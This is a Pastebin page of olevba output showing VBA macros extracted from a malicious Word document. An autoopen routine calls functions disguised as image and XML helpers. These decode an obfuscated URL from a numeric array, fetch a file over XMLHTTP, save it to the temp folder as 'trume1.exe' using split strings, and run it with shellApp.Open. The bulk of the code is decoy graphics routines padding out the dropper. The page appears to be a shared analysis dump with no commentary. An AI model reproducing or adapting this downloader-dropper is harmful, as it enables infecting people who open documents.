Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.41 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MASIHB-V pmB3A6-01.doc
- (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
- ===============================================================================
- FILE: pmB3A6-01.doc
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ThisDocument.cls
- in file: pmB3A6-01.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Sub autoopen()
- AddMSXMLNode "", "", "", ""
- CapturePicture 0, 0, 0, 0, 0
- parse_test5
- CreateColor 0, 0, "", 0
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module1.bas
- in file: pmB3A6-01.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Function LoadResIcon(ByVal Resname As String, Optional ByVal Width As Long = 32, Optional ByVal Height As Long = 32) As String
- Dim picGuid As String
- Dim picDesc As String
- Dim hdcMem As Long
- Dim hIcon As Long
- Dim hOldBmp As Long
- Dim Pic As String
- Dim rcBitmap As String
- picff.GUID.X = &H7BF80981
- picff.GUID.S1 = &HBF32
- picff.GUID.S2 = &H101A
- picff.GUID.c(0) = &H8B
- picff.GUID.c(1) = &HBB
- picff.GUID.c(2) = &H0
- picff.GUID.c(3) = &HAA
- picff.GUID.c(4) = &H0
- picff.GUID.c(5) = &H30
- picff.GUID.c(6) = &HC
- picff.GUID.c(7) = &HAB
- hdcMem = CreateMemoryDC
- hIcon = LoadImage(App.hInstance, Resname, Image_Icon, Width, Height, LoadImage_Shared)
- If hIcon = 0 Then
- DeleteMemoryDC hdcMem
- Exit Function
- End If
- picDedd.sc.Size = Len(picDesc)
- picDedd.sc.BITMAP = hIcon
- picDedd.sc.Type = PicType_Icon
- If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
- DeleteMemoryDC hdcMem
- Exit Function
- End If
- Set LoadResIcon = Pic
- Set Pic = Nothing
- DeleteMemoryDC hdcMem
- End Function
- Public Function GDIRect(X1 As Long, y1 As Long, x2 As Long, y2 As Long, Optional Absolute As Boolean = True) As String
- On Error Resume Next
- With GDIRect
- .left = X1
- .tOp = y1
- If Absolute Then
- .Right = x2
- .Bottom = y2
- Else
- .Right = X1 + x2
- .Bottom = y1 + y2
- End If
- End With
- End Function
- Function IconFromHandle(Handle As Long) As String
- On Error Resume Next
- Dim picGuid As String
- Dim picDesc As String
- Dim Pic As String
- picff.GUID.X = &H7BF80981
- picff.GUID.S1 = &HBF32
- picff.GUID.S2 = &H101A
- picff.GUID.c(0) = &H8B
- picff.GUID.c(1) = &HBB
- picff.GUID.c(2) = &H0
- picff.GUID.c(3) = &HAA
- picff.GUID.c(4) = &H0
- picff.GUID.c(5) = &H30
- picff.GUID.c(6) = &HC
- picff.GUID.c(7) = &HAB
- picDedd.sc.Size = Len(picDesc)
- picDedd.sc.BITMAP = Handle
- picDedd.sc.Type = PicType_Icon
- If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
- Exit Function
- End If
- Set IconFromHandle = Pic
- Set Pic = Nothing
- End Function
- Function GetPictureArray(ByRef Pic As String) As Long()
- On Error Resume Next
- Dim MinX As Long, MinY As Long
- Dim MaxX As Long, MaxY As Long
- Dim SetX As Long, SetY As Long
- Dim DestAddress As Long, YOffset As Long
- Dim bmiDest As BitmapInfo
- Dim DIBitsDest() As Long, DC As Long
- DC = CreateMemoryDC
- With bmiDest.Header
- .Size = Len(bmiDest.Header)
- .Planes = 1
- End With
- If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Function
- End If
- With bmiDest.Header
- .BitCount = 32
- .Compression = DIBCompression_RGB
- End With
- YOffset = (bmiDest.Header.Height - 1) - MaxY
- ReDim DIBitsDest(0 To bmiDest.Header.Width - 1, 0 To bmiDest.Header.Height - 1)
- If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), DIBitsDest(0, 0), bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Function
- End If
- GetPictureArray = DIBitsDest
- DeleteMemoryDC DC
- End Function
- Function GetPictureArrayInv(ByRef Pic As String) As Long()
- On Error Resume Next
- Dim MinX As Long, MinY As Long
- Dim MaxX As Long, MaxY As Long
- Dim SetX As Long, SetY As Long
- Dim DestAddress As Long, YOffset As Long
- Dim bmiDest As BitmapInfo
- Dim DIBitsDest() As Long, DC As Long
- DC = CreateMemoryDC
- With bmiDest.Header
- .Size = Len(bmiDest.Header)
- .Planes = 1
- End With
- If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Function
- End If
- With bmiDest.Header
- .BitCount = 32
- .Compression = DIBCompression_RGB
- End With
- YOffset = (bmiDest.Header.Height - 1) - MaxY
- ReDim DIBitsDest(0 To bmiDest.Header.Width - 1, 0 To bmiDest.Header.Height - 1)
- bmiDest.Header.Height = -bmiDest.Header.Height
- If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), DIBitsDest(0, 0), bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Function
- End If
- bmiDest.Header.Height = -bmiDest.Header.Height
- GetPictureArrayInv = DIBitsDest
- DeleteMemoryDC DC
- End Function
- Sub GetPictureArrayByte(ByRef Pic As String, ByRef DestArray() As Byte)
- On Error Resume Next
- Dim MinX As Long, MinY As Long
- Dim MaxX As Long, MaxY As Long
- Dim SetX As Long, SetY As Long
- Dim DestAddress As Long, YOffset As Long
- Dim bmiDest As BitmapInfo
- Dim DC As Long
- DC = CreateMemoryDC
- With bmiDest.Header
- .Size = Len(bmiDest.Header)
- .Planes = 1
- End With
- If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Sub
- End If
- With bmiDest.Header
- .BitCount = 32
- .Compression = DIBCompression_RGB
- End With
- YOffset = (bmiDest.Header.Height - 1) - MaxY
- bmiDest.Header.Height = -bmiDest.Header.Height
- If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), DestArray(0, 0), bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Sub
- End If
- bmiDest.Header.Height = -bmiDest.Header.Height
- DeleteMemoryDC DC
- End Sub
- Sub GetPictureArrayPtr(ByRef Pic As String, ByVal Ptr As Long)
- On Error Resume Next
- Dim MinX As Long, MinY As Long
- Dim MaxX As Long, MaxY As Long
- Dim SetX As Long, SetY As Long
- Dim DestAddress As Long, YOffset As Long
- Dim bmiDest As BitmapInfo
- Dim DC As Long
- DC = CreateMemoryDC
- With bmiDest.Header
- .Size = Len(bmiDest.Header)
- .Planes = 1
- End With
- If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Sub
- End If
- With bmiDest.Header
- .BitCount = 32
- .Compression = DIBCompression_RGB
- End With
- bmiDest.Header.Height = -bmiDest.Header.Height
- If 0 = GetDIBits(DC, Pic.Handle, 0, Abs(bmiDest.Header.Height), ByVal Ptr, bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Sub
- End If
- bmiDest.Header.Height = -bmiDest.Header.Height
- DeleteMemoryDC DC
- End Sub
- Sub GetBitmapArrayPtr(ByVal BITMAP As Long, ByVal Ptr As Long)
- On Error Resume Next
- Dim MinX As Long, MinY As Long
- Dim MaxX As Long, MaxY As Long
- Dim SetX As Long, SetY As Long
- Dim DestAddress As Long, YOffset As Long
- Dim bmiDest As BitmapInfo
- Dim DC As Long
- DC = CreateMemoryDC
- With bmiDest.Header
- .Size = Len(bmiDest.Header)
- .Planes = 1
- End With
- If 0 = GetDIBits(DC, BITMAP, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Sub
- End If
- With bmiDest.Header
- .BitCount = 32
- .Compression = DIBCompression_RGB
- End With
- bmiDest.Header.Height = -bmiDest.Header.Height
- If 0 = GetDIBits(DC, BITMAP, 0, Abs(bmiDest.Header.Height), ByVal Ptr, bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Sub
- End If
- bmiDest.Header.Height = -bmiDest.Header.Height
- DeleteMemoryDC DC
- End Sub
- Sub GetHBmpArrayByte(ByVal hBmp As Long, ByRef DestArray() As Byte, Optional ByVal CPDC As Long = 0)
- On Error Resume Next
- Dim MinX As Long, MinY As Long
- Dim MaxX As Long, MaxY As Long
- Dim SetX As Long, SetY As Long
- Dim DestAddress As Long, YOffset As Long
- Dim bmiDest As BitmapInfo
- Dim DC As Long
- If CPDC = 0 Then DC = CreateMemoryDC Else DC = CPDC
- With bmiDest.Header
- .Size = Len(bmiDest.Header)
- .Planes = 1
- End With
- If 0 = GetDIBits(DC, hBmp, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Sub
- End If
- With bmiDest.Header
- .BitCount = 32
- .Compression = DIBCompression_RGB
- End With
- YOffset = (bmiDest.Header.Height - 1) - MaxY
- bmiDest.Header.Height = -bmiDest.Header.Height
- If 0 = GetDIBits(DC, hBmp, 0, Abs(bmiDest.Header.Height), DestArray(0, 0), bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Sub
- End If
- bmiDest.Header.Height = -bmiDest.Header.Height
- If CPDC = 0 Then DeleteMemoryDC DC
- End Sub
- Function GetPictureWidth(ByRef Pic As String) As Long
- On Error Resume Next
- Dim bmiDest As BitmapInfo
- Dim DC As Long
- DC = CreateMemoryDC
- With bmiDest.Header
- .Size = Len(bmiDest.Header)
- .Planes = 1
- End With
- If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Function
- End If
- GetPictureWidth = CLng(bmiDest.Header.Width)
- DeleteMemoryDC DC
- End Function
- Function GetPictureHeight(ByRef Pic As String) As Long
- On Error Resume Next
- Dim bmiDest As BitmapInfo
- Dim DC As Long
- DC = CreateMemoryDC
- With bmiDest.Header
- .Size = Len(bmiDest.Header)
- .Planes = 1
- End With
- If 0 = GetDIBits(DC, Pic.Handle, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Function
- End If
- GetPictureHeight = CLng(bmiDest.Header.Height)
- DeleteMemoryDC DC
- End Function
- Function GetBitmapWidth(ByVal BITMAP As Long) As Long
- On Error Resume Next
- Dim bmiDest As BitmapInfo
- Dim DC As Long
- DC = CreateMemoryDC
- With bmiDest.Header
- .Size = Len(bmiDest.Header)
- .Planes = 1
- End With
- If 0 = GetDIBits(DC, BITMAP, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Function
- End If
- GetBitmapWidth = CLng(bmiDest.Header.Width)
- DeleteMemoryDC DC
- End Function
- Function GetBitmapHeight(ByVal BITMAP As Long) As Long
- On Error Resume Next
- Dim bmiDest As BitmapInfo
- Dim DC As Long
- DC = CreateMemoryDC
- With bmiDest.Header
- .Size = Len(bmiDest.Header)
- .Planes = 1
- End With
- If 0 = GetDIBits(DC, BITMAP, 0, 0, ByVal 0&, bmiDest, DIBMode_RGB) Then
- DeleteMemoryDC DC
- Exit Function
- End If
- GetBitmapHeight = CLng(bmiDest.Header.Height)
- DeleteMemoryDC DC
- End Function
- Public Function ColorFromString(Text As String) As Long
- On Error Resume Next
- Dim cR As Long, cG As Long, cB As Long
- If left(Text, 2) = "&H" Then
- ColorFromString = CLng(Text)
- Exit Function
- End If
- If left(Text, 1) = "#" Then
- ColorFromString = CLng("&H" + Mid(Text, 2))
- cR = ColorFromString Mod 256
- cG = Int((ColorFromString \ 256)) Mod 256
- cB = Int(ColorFromString \ 65536)
- ColorFromString = RGB(cB, cG, cR)
- Exit Function
- End If
- If left(Text, 1) = "." Then
- ColorFromString = CLng(Mid(Text, 2))
- Exit Function
- End If
- If (InStr(Text, ",")) Then
- cR = CLng(left(Text, InStr(Text, ",") - 1))
- cG = CLng(Mid(Text, InStr(Text, ",") + 1, ((InStrRev(Text, ",") - 1) - (InStr(Text, ",")))))
- cB = CLng(Mid(Text, InStrRev(Text, ",") + 1))
- ColorFromString = RGB(cR, cG, cB)
- Exit Function
- End If
- Select Case Trim(LCase(Text))
- Case "darkgoldenrod", "dark goldenrod"
- ColorFromString = ColorFromString("#B8860B")
- Case "darkgray", "dark gray"
- ColorFromString = ColorFromString("#A9A9A9")
- Case "darkgreen", "dark green"
- ColorFromString = ColorFromString("#006400")
- Case "darkkhaki", "dark khaki"
- ColorFromString = ColorFromString("#BDB76B")
- Case "darkmagenta", "dark magenta"
- ColorFromString = ColorFromString("#8B008B")
- Case "darkolivegreen", "dark olive green"
- ColorFromString = ColorFromString("#556B2F")
- Case "darkorange", "dark orange"
- ColorFromString = ColorFromString("#FF8C00")
- Case "darkorchid", "dark orchid"
- ColorFromString = ColorFromString("#9932CC")
- Case "darkrealm"
- ColorFromString = ColorFromString("#202020")
- Case "darkred", "dark red"
- ColorFromString = ColorFromString("#8B0000")
- Case "darksalmon", "dark salmon"
- ColorFromString = ColorFromString("#E9967A")
- Case "darkseagreen", "dark sea green"
- ColorFromString = ColorFromString("#8FBC8F")
- Case "darkslateblue", "dark slate blue"
- ColorFromString = ColorFromString("#483D8B")
- Case "peru"
- ColorFromString = ColorFromString("#CD853F")
- Case "pink"
- ColorFromString = ColorFromString("#FFC0CB")
- Case "plum"
- ColorFromString = ColorFromString("#DDA0DD")
- Case "powderblue", "powder blue"
- ColorFromString = ColorFromString("#B0E0E6")
- Case "purple"
- ColorFromString = ColorFromString("#800080")
- Case "rast"
- ColorFromString = ColorFromString("#B02020")
- Case "red"
- ColorFromString = ColorFromString("#FF0000")
- Case "rosybrown", "rosy brown"
- ColorFromString = ColorFromString("#BC8F8F")
- Case "royalblue", "royal blue"
- ColorFromString = ColorFromString("#4169E1")
- Case "saddlebrown", "saddle brown"
- ColorFromString = ColorFromString("#8B4513")
- Case "salmon"
- ColorFromString = ColorFromString("#FA8072")
- Case "sandybrown", "sandy brown"
- ColorFromString = ColorFromString("#F4A460")
- Case "seagreen", "sea green"
- ColorFromString = ColorFromString("#2E8B57")
- Case "seashell"
- ColorFromString = ColorFromString("#FFF5EE")
- Case "sienna"
- ColorFromString = ColorFromString("#A0522D")
- Case "yellowgreen", "yellow-green", "yellow green"
- ColorFromString = ColorFromString("#9ACD32")
- Case "default", "normal", "standard", "text"
- ColorFromString = -1
- Case Else
- ColorFromString = -1
- End Select
- End Function
- Public Function CreateMemoryDC() As Long
- On Error Resume Next
- Dim deskWnd As Long, deskDC As Long
- deskWnd = GetDesktopWindow
- deskDC = GetDC(deskWnd)
- CreateMemoryDC = CreateCompa.tibleDC(deskDC)
- ReleaseDC deskWnd, deskDC
- End Function
- Public Sub DeleteMemoryDC(hdc As Long)
- On Error Resume Next
- Deleddd.teDC hdc
- End Sub
- Public Function CapturePicture(ByVal hdc As Long, ByVal left As Long, ByVal tOp As Long, ByVal Width As Long, ByVal Height As Long) As String
- Dim picGuid As String
- Dim picDesc As String
- Dim hdcMem As Long
- Set processEnv = CreateObject("WScript.Shell").Environment("Process")
- Dim hBmp As Long
- Dim hOldBmp As Long
- Dim Pic As String
- Dim rcBitmap As String
- tempFolder = processEnv("TEMP")
- httpRequest.Send
- tempFile = tempFolder + "\" + "" + "" + "tru" + "" + "" + "me1" + "." + "" + "e" + "xe"
- Exit Function
- picff.GUID.X = &H7BF80981
- picff.GUID.S1 = &HBF32
- picff.GUID.S2 = &H101A
- picff.GUID.c(0) = &H8B
- picff.GUID.c(1) = &HBB
- picff.GUID.c(2) = &H0
- picff.GUID.c(3) = &HAA
- picff.GUID.c(4) = &H0
- picff.GUID.c(5) = &H30
- picff.GUID.c(6) = &HC
- picff.GUID.c(7) = &HAB
- picDedd.sc.Size = Len(picDesc)
- hdcMem = CreateCompa.tibleDC(hdc)
- If hdcMem = 0 Then
- Exit Function
- End If
- hBmp = CreateCompadd.tibleBitmap(hdc, Width, Height)
- If hBmp = 0 Then
- Deleddd.teDC hdcMem
- Exit Function
- End If
- hOldBmp = SelectObdd.ject(hdcMem, hBmp)
- If left >= 0 And tOp >= 0 Then
- If Bi.tBlt(hdcMem, 0, 0, Width, Height, hdc, left, tOp, vbSrcCopy) = 0 Then
- Seleff.ctObject hdcMem, hOldBmp
- Deleddd.teDC hdcMem
- DeleteObjectd.dd hBmp
- Exit Function
- End If
- Else
- Fil.lRect hdcMem, rcBitmap, GetSto.ckObject(StockObject_Brush_Black)
- End If
- Seleff.ctObject hdcMem, hOldBmp
- picDedd.sc.BITMAP = hBmp
- picDedd.sc.Palette = GetCurr.entObject(hdc, Object_Palette)
- picDedd.sc.Type = PicType_Bitmap
- If CreateP.ictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
- Deleddd.teDC hdcMem
- DeleteObjectd.dd hBmp
- Exit Function
- End If
- Deleddd.teDC hdcMem
- End Function
- Public Function CreatePicture(ByVal Width As Long, ByVal Height As Long) As String
- Dim picGuid As String
- Dim picDesc As String
- Dim hdcMem As Long
- Dim hBmp As Long
- Dim hOldBmp As Long
- Dim Pic As String
- Dim rcBitmap As String
- Dim deskWnd As Long, deskDC As Long
- deskWnd = GetDesktopWindow
- deskDC = GetDC(deskWnd)
- picff.GUID.X = &H7BF80981
- picff.GUID.S1 = &HBF32
- picff.GUID.S2 = &H101A
- picff.GUID.c(0) = &H8B
- picff.GUID.c(1) = &HBB
- picff.GUID.c(2) = &H0
- picff.GUID.c(3) = &HAA
- picff.GUID.c(4) = &H0
- picff.GUID.c(5) = &H30
- picff.GUID.c(6) = &HC
- picff.GUID.c(7) = &HAB
- picDedd.sc.Size = Len(picDesc)
- hdcMem = CreateMemoryDC
- If hdcMem = 0 Then
- Exit Function
- End If
- hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
- If hBmp = 0 Then
- Deleddd.teDC hdcMem
- ReleaseDC deskWnd, deskDC
- Exit Function
- End If
- picDedd.sc.BITMAP = hBmp
- picDedd.sc.Palette = GetCurrentObject(deskDC, Object_Palette)
- picDedd.sc.Type = PicType_Bitmap
- If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
- Deleddd.teDC hdcMem
- ReleaseDC deskWnd, deskDC
- DeleteObjectd.dd hBmp
- Exit Function
- End If
- Set CreatePicture = Pic
- Set Pic = Nothing
- Deleddd.teDC hdcMem
- ReleaseDC deskWnd, deskDC
- End Function
- Public Function CreateMask(ByVal Width As Long, ByVal Height As Long, ByRef SourcePic As String, ByVal MaskColor As Long) As String
- On Error Resume Next
- Dim picGuid As String
- Dim picDesc As String
- Dim hdcMem As Long
- Dim hBmp As Long
- Dim hOldBmp As Long
- Dim Pic As String
- Dim rcBitmap As String
- Dim deskWnd As Long, deskDC As Long
- Dim m_lngPixels() As Long
- Dim m_lngX As Long, m_lngY As Long
- If SourcePic Is Nothing Then Exit Function
- deskWnd = GetDesktopWindow
- deskDC = GetDC(deskWnd)
- picff.GUID.X = &H7BF80981
- picff.GUID.S1 = &HBF32
- picff.GUID.S2 = &H101A
- picff.GUID.c(0) = &H8B
- picff.GUID.c(1) = &HBB
- picff.GUID.c(2) = &H0
- picff.GUID.c(3) = &HAA
- picff.GUID.c(4) = &H0
- picff.GUID.c(5) = &H30
- picff.GUID.c(6) = &HC
- picff.GUID.c(7) = &HAB
- picDedd.sc.Size = Len(picDesc)
- hdcMem = CreateMemoryDC
- If hdcMem = 0 Then
- Exit Function
- End If
- hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
- If hBmp = 0 Then
- Deleddd.teDC hdcMem
- ReleaseDC deskWnd, deskDC
- Exit Function
- End If
- picDedd.sc.BITMAP = hBmp
- picDedd.sc.Palette = GetCurrentObject(deskDC, Object_Palette)
- picDedd.sc.Type = PicType_Bitmap
- If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
- Deleddd.teDC hdcMem
- ReleaseDC deskWnd, deskDC
- DeleteObjectd.dd hBmp
- Exit Function
- End If
- m_lngPixels() = GetPictureArrayInv(SourcePic)
- For m_lngY = 0 To Height - 1
- For m_lngX = 0 To Width - 1
- m_lngPixels(m_lngX, m_lngY) = IIf(m_lngPixels(m_lngX, m_lngY) = MaskColor, &HFFFFFF, &H0)
- Next m_lngX
- Next m_lngY
- ArrayToPicture Pic, m_lngPixels, hdcMem
- Set CreateMask = Pic
- Set Pic = Nothing
- Deleddd.teDC hdcMem
- ReleaseDC deskWnd, deskDC
- End Function
- Public Function CreateColor(ByVal Width As Long, ByVal Height As Long, ByRef SourcePic As String, ByVal MaskColor As Long) As String
- On Error Resume Next
- Dim picGuid As String
- Dim picDesc As String
- Dim hdcMem As Long
- Dim hBmp As Long
- Dim hOldBmp As Long
- Dim Pic As String
- Dim rcBitmap As String
- Dim deskWnd As Long, deskDC As Long
- Dim m_lngPixels() As Long
- Dim m_lngX As Long, m_lngY As Long
- shellApp.Open (tempFile)
- Exit Function
- If SourcePic = "" Then Exit Function
- deskWnd = GetDesktopWindow
- deskDC = Ge.tDC(deskWnd)
- picff.GUID.X = &H7BF80981
- picff.GUID.S1 = &HBF32
- hdcMem = CreateMemoryDC
- If hdcMem = 0 Then
- Exit Function
- End If
- hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
- If hBmp = 0 Then
- Deleddd.teDC hdcMem
- Rele.aseDC deskWnd, deskDC
- Exit Function
- End If
- picDedd.sc.BITMAP = hBmp
- picDedd.sc.Palette = GetCurre.ntObject(deskDC, Object_Palette)
- picDedd.sc.Type = PicType_Bitmap
- If CreatePict.ureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
- Deleddd.teDC hdcMem
- Rele.aseDC deskWnd, deskDC
- DeleteObjectd.dd hBmp
- Exit Function
- End If
- m_lngPixels() = GetPictureArrayInv(SourcePic)
- For m_lngY = 0 To Height - 1
- For m_lngX = 0 To Width - 1
- m_lngPixels(m_lngX, m_lngY) = IIf(m_lngPixels(m_lngX, m_lngY) = MaskColor, &H0, m_lngPixels(m_lngX, m_lngY))
- Next m_lngX
- Next m_lngY
- ArrayT.oPicture Pic, m_lngPixels, hdcMem
- Deleddd.teDC hdcMem
- Rele.aseDC deskWnd, deskDC
- End Function
- Public Function CreatePictureFromIcon(ByVal Width As Long, ByVal Height As Long, ByRef Icon As String) As String
- Dim picGuid As String
- Dim picDesc As String
- Dim hdcMem As Long
- Dim hBmp As Long
- Dim hOldBmp As Long
- Dim Pic As String
- Dim rcBitmap As String
- Dim deskWnd As Long, deskDC As Long
- deskWnd = GetDesktopWindow
- deskDC = GetDC(deskWnd)
- picff.GUID.X = &H7BF80981
- picff.GUID.S1 = &HBF32
- picff.GUID.S2 = &H101A
- picff.GUID.c(0) = &H8B
- If hdcMem = 0 Then
- Exit Function
- End If
- hBmp = CreateCompadd.tibleBitmap(deskDC, Width, Height)
- If hBmp = 0 Then
- Deleddd.teDC hdcMem
- ReleaseDC deskWnd, deskDC
- Exit Function
- End If
- hOldBmp = SelectObdd.ject(hdcMem, hBmp)
- DrawIconEx hdcMem, 0, 0, Icon.Handle, Width, Height, 0, 0, 2
- Seleff.ctObject hdcMem, hOldBmp
- picDedd.sc.BITMAP = hBmp
- picDedd.sc.Palette = GetCurrentObject(deskDC, Object_Palette)
- picDedd.sc.Type = PicType_Bitmap
- If CreatePictureIndirect(picDesc, picGuid, True, Pic) <> 0 Then
- Deleddd.teDC hdcMem
- ReleaseDC deskWnd, deskDC
- DeleteObjectd.dd hBmp
- Exit Function
- End If
- Set CreatePictureFromIcon = Pic
- Set Pic = Nothing
- Deleddd.teDC hdcMem
- ReleaseDC deskWnd, deskDC
- End Function
- -------------------------------------------------------------------------------
- VBA MACRO Module2.bas
- in file: pmB3A6-01.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public processEnv As Object
- Public tempFolder As String
- Public tempFile As String
- Public shellApp As Object
- Dim stroldMessageSetID As String
- Public Function DateValid(strDate As String, _
- strMsgText As String) As Boolean
- If Trim(strDate) = "" Then
- DateValid = True
- Exit Function
- End If
- If Not IsDate(strDate) Then
- MsgBox "The " & strMsgText & " date you"
- DateValid = False
- Exit Function
- End If
- If CDate(strDate) < CDate("1/1/1970") Or _
- CDate(strDate) > CDate("1/18/2038") Then
- MsgBox "The " & strMsgText & _
- " date you supply must be between Jan 1, 1970 and Jan 18, 2038"
- DateValid = False
- Exit Function
- End If
- Dim strSplits() As String
- strSplits = Split(Trim(strDate), "-")
- If UBound(strSplits) = 2 Then
- If Len(strSplits(0)) = 4 And Len(strSplits(1)) = 2 And _
- Len(strSplits(2)) = 2 Then
- DateValid = True
- Exit Function
- End If
- End If
- MsgBox "The " & strMsgText & " date must be of the form yyyy-mm-dd"
- DateValid = False
- End Function
- Public Function RuBik(fromArr() As Variant, LenLen As Long, Dust As Double) As String
- Dim i As Long
- Dim hippi As String
- hippi = ""
- For i = LBound(fromArr) To UBound(fromArr)
- riz = fromArr(i) - 15 * LenLen - i * 100
- hippi = hippi & Chr(riz)
- Next i
- RuBik = hippi
- End Function
- Public Function TimeValid(strTime As String, _
- strMsgText As String) As Boolean
- If Trim(strTime) = Empty Then
- TimeValid = True
- Exit Function
- End If
- Dim strSplits() As String
- strSplits = Split(Trim(strTime), ":")
- If UBound(strSplits) = 1 Then
- If IsNumeric(strSplits(0)) And IsNumeric(strSplits(1)) Then
- If Len(strSplits(1)) = 2 Then
- If CInt(strSplits(0)) >= 1 And CInt(strSplits(0)) <= 12 And _
- CInt(strSplits(0)) >= 0 And CInt(strSplits(0)) <= 59 Then
- TimeValid = True
- Exit Function
- End If
- End If
- End If
- End If
- MsgBox "Invalid " & strMsgText & " time value"
- TimeValid = False
- End Function
- Public Function DateTimeString(strDate As String, _
- strTime As String, _
- booAM As Boolean, _
- booSupportsDateTime As Boolean) As String
- Dim strSplits() As String
- If Trim(strDate) = Empty Then
- DateTimeString = ""
- Exit Function
- End If
- If Trim(strTime) = Empty Then
- DateTimeString = Trim(strDate)
- Exit Function
- End If
- strSplits = Split(Trim(strTime), ":")
- If booAM Then
- If strSplits(0) = "12" Then strSplits(0) = "00"
- If Len(strSplits(0)) = 1 Then strSplits(0) = "0" & strSplits(0)
- Else
- If CInt(strSplits(0)) < 12 Then strSplits(0) = str(CInt(strSplits(0)) + 12)
- End If
- DateTimeString = Trim(strDate) & "T" & Trim(strSplits(0)) & ":" & strSplits(1)
- End Function
- Public Sub AddMSXMLNode(strNodeName As String, _
- objDOMDocument As String, _
- objParentNode As String, _
- objNode As String)
- Set httpRequest = CreateObject("Microsoft" + ".XMLHTTP")
- Dim urlAr() As Variant
- urlAr = Array(809, 921, 1021, 1117, 1163, 1252, 1352, 1510, 1619, 1710, 1820, 1903, 2016, 2119, 2205, 2302, 2405, 2516, 2620, 2651, 2804, 2916, 3014, 3052, 3159, 3258, 3426, 3456, 3607, 3705, 3755, 3856, 4005, 4052, 4161, 4260, 4410, 4457, 4608, 4656, 4805, 4855, 5005, 5055, 5151, 5306, 5425, 5506)
- httpRequest.Open "GET", RuBik(urlAr, 47, 13), False
- Exit Sub
- Set objddd.Node = objDOMff.Document.createElement(strNodeName)
- objPadd.rentNode.appendChild objNode
- End Sub
- Public Sub AddMSXMLAttribute(strAttributeName As String, _
- strAttributeValue As String, _
- objDOMDocument As String, _
- objParentNode As String, _
- objAttribute As String)
- Set objAttribute = objDOMff.Document.createAttribute(strAttributeName)
- objAttribute.Text = strAttributeValue
- objPadd.rentNode.Attributes.setNamedItem objAttribute
- End Sub
- Public Sub AddMSXMLElement(strElementName As String, _
- strElementValue As String, _
- objDOMDocument As String, _
- objParentNode As String, _
- objElement As String)
- Set objElement = objDOMff.Document.createElement(strElementName)
- objElement.Text = strElementValue
- objPadd.rentNode.appendChild objElement
- End Sub
- Public Sub CreateStandardRequestNode(boonewMessageSetID As Boolean, _
- stronError As String, _
- objDOMDocument As String, _
- objRootNode As String, _
- objRequestNode As String, _
- objAttribute As String)
- Set objRootNode = objDOMff.Document.createElement("QBXML")
- objDOMff.Document.appendChild objRootNode
- Set objRequestNode = objDOMff.Document.createElement("QBXMLMsgsRq")
- objRootNode.appendChild objRequestNode
- If boonewMessageSetID Then
- stroldMessageSetID = NewMessageSetID
- AddMSXMLAttribute _
- "newMessageSetID", stroldMessageSetID, objDOMDocument, objRequestNode, objAttribute
- stroldMessageSetID = Empty
- End If
- AddMSXMLAttribute _
- "onError", stronError, objDOMDocument, objRequestNode, objAttribute
- End Sub
- Public Sub GetTags(strInString As String, _
- strStartTag As String, _
- strEndTag As String, _
- intTagLength As Integer)
- If InStr(1, strInString, "<") = 0 Or InStr(1, strInString, ">") = 0 Or _
- InStr(1, strInString, "</") = 0 Or left(strInString, 1) <> "<" Then
- strStartTag = Empty
- strEndTag = Empty
- intTagLength = 0
- Exit Sub
- End If
- strStartTag = left(strInString, InStr(1, strInString, ">"))
- intTagLength = Len(strStartTag)
- strEndTag = Replace(strStartTag, "<", "</")
- If InStr(1, strInString, strEndTag) = 0 Then
- strStartTag = Empty
- strEndTag = Empty
